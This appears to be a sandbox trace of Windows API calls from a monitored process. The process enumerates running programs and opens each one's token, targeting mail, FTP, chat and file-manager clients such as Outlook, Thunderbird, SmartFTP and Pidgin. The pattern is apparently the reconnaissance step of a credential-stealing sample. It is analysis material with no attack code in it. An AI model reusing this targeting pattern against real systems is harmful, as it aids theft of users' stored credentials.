	[0101.437] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29c290, cchName=0x114518, ReferencedDomainName=0x2c9770, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0101.439] GetProcessHeap () returned 0x240000
	[0101.439] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0101.439] CloseHandle (hObject=0x160) returned 1
	[0101.439] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0101.442] SetLastError (dwErrCode=0x0) 
	[0101.442] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x96c) returned 0x160
	[0101.442] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x258) returned 1
	[0101.442] GetTokenInformation (in: TokenHandle=0x258, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0101.442] GetProcessHeap () returned 0x240000
	[0101.442] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0101.442] GetTokenInformation (in: TokenHandle=0x258, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0101.442] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0101.444] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29c250, cchName=0x114518, ReferencedDomainName=0x2c9870, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0101.445] GetProcessHeap () returned 0x240000
	[0101.445] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0101.445] CloseHandle (hObject=0x160) returned 1
	[0101.445] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0101.448] SetLastError (dwErrCode=0x0) 
	[0101.448] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x97c) returned 0x160
	[0101.448] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x260) returned 1
	[0101.449] GetTokenInformation (in: TokenHandle=0x260, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0101.449] GetProcessHeap () returned 0x240000
	[0101.449] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0101.449] GetTokenInformation (in: TokenHandle=0x260, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0101.449] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0101.450] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29c290, cchName=0x114518, ReferencedDomainName=0x2c9ad0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0101.452] GetProcessHeap () returned 0x240000
	[0101.452] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0101.452] CloseHandle (hObject=0x160) returned 1
	[0101.452] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0101.454] SetLastError (dwErrCode=0x0) 
	[0101.455] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x98c) returned 0x160
	[0101.455] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x264) returned 1
	[0101.455] GetTokenInformation (in: TokenHandle=0x264, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0101.455] GetProcessHeap () returned 0x240000
	[0101.455] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0101.455] GetTokenInformation (in: TokenHandle=0x264, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0101.455] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0101.588] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b43a0, cchName=0x114518, ReferencedDomainName=0x2c97d0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0101.590] GetProcessHeap () returned 0x240000
	[0101.590] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0101.590] CloseHandle (hObject=0x160) returned 1
	[0101.590] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1
	[0101.608] SetLastError (dwErrCode=0x0) 
	[0101.608] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x99c) returned 0x160
	[0101.608] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x290) returned 1
	[0101.609] GetTokenInformation (in: TokenHandle=0x290, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0101.609] GetProcessHeap () returned 0x240000
	[0101.609] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0101.609] GetTokenInformation (in: TokenHandle=0x290, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0101.609] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0101.611] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b43a0, cchName=0x114518, ReferencedDomainName=0x2c9750, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0101.613] GetProcessHeap () returned 0x240000
	[0101.613] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0101.613] CloseHandle (hObject=0x160) returned 1
	[0101.613] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0101.616] SetLastError (dwErrCode=0x0) 
	[0101.616] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x9ac) returned 0x160
	[0101.616] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x28c) returned 1
	[0101.616] GetTokenInformation (in: TokenHandle=0x28c, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0101.616] GetProcessHeap () returned 0x240000
	[0101.616] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0101.616] GetTokenInformation (in: TokenHandle=0x28c, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0101.616] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0101.618] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b43a0, cchName=0x114518, ReferencedDomainName=0x2c9ad0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0101.620] GetProcessHeap () returned 0x240000
	[0101.620] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0101.620] CloseHandle (hObject=0x160) returned 1
	[0101.620] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0101.623] SetLastError (dwErrCode=0x0) 
	[0101.623] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x9bc) returned 0x160
	[0101.623] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x294) returned 1
	[0101.623] GetTokenInformation (in: TokenHandle=0x294, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0101.623] GetProcessHeap () returned 0x240000
	[0101.623] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0101.623] GetTokenInformation (in: TokenHandle=0x294, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0101.623] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0101.625] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b43a0, cchName=0x114518, ReferencedDomainName=0x2c97d0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0101.626] GetProcessHeap () returned 0x240000
	[0101.626] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0101.626] CloseHandle (hObject=0x160) returned 1
	[0101.626] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0101.629] SetLastError (dwErrCode=0x0) 
	[0101.629] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x9cc) returned 0x160
	[0101.629] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x298) returned 1
	[0101.629] GetTokenInformation (in: TokenHandle=0x298, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0101.630] GetProcessHeap () returned 0x240000
	[0101.630] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0101.630] GetTokenInformation (in: TokenHandle=0x298, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0101.630] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0101.631] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b43a0, cchName=0x114518, ReferencedDomainName=0x2c9750, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0101.633] GetProcessHeap () returned 0x240000
	[0101.633] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0101.633] CloseHandle (hObject=0x160) returned 1
	[0101.633] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0101.636] SetLastError (dwErrCode=0x0) 
	[0101.636] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x9dc) returned 0x160
	[0101.636] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x29c) returned 1
	[0101.636] GetTokenInformation (in: TokenHandle=0x29c, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0101.636] GetProcessHeap () returned 0x240000
	[0101.636] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0101.637] GetTokenInformation (in: TokenHandle=0x29c, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0101.637] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0101.638] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b43a0, cchName=0x114518, ReferencedDomainName=0x2c9ad0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0101.640] GetProcessHeap () returned 0x240000
	[0101.640] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0101.640] CloseHandle (hObject=0x160) returned 1
	[0101.640] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0101.643] SetLastError (dwErrCode=0x0) 
	[0101.643] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x9ec) returned 0x160
	[0101.643] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x2a0) returned 1
	[0101.643] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0101.643] GetProcessHeap () returned 0x240000
	[0101.643] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0101.643] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0101.644] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0101.823] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9a90, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0101.825] GetProcessHeap () returned 0x240000
	[0101.825] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0101.825] CloseHandle (hObject=0x160) returned 1
	[0101.825] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0101.828] SetLastError (dwErrCode=0x0) 
	[0101.828] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x9fc) returned 0x160
	[0101.828] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x2b8) returned 1
	[0101.828] GetTokenInformation (in: TokenHandle=0x2b8, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0101.828] GetProcessHeap () returned 0x240000
	[0101.828] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0101.828] GetTokenInformation (in: TokenHandle=0x2b8, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0101.829] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0101.830] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9630, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0101.832] GetProcessHeap () returned 0x240000
	[0101.832] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0101.832] CloseHandle (hObject=0x160) returned 1
	[0101.832] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0101.835] SetLastError (dwErrCode=0x0) 
	[0101.835] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa0c) returned 0x160
	[0101.835] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x2c0) returned 1
	[0101.835] GetTokenInformation (in: TokenHandle=0x2c0, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0101.835] GetProcessHeap () returned 0x240000
	[0101.835] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0101.835] GetTokenInformation (in: TokenHandle=0x2c0, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
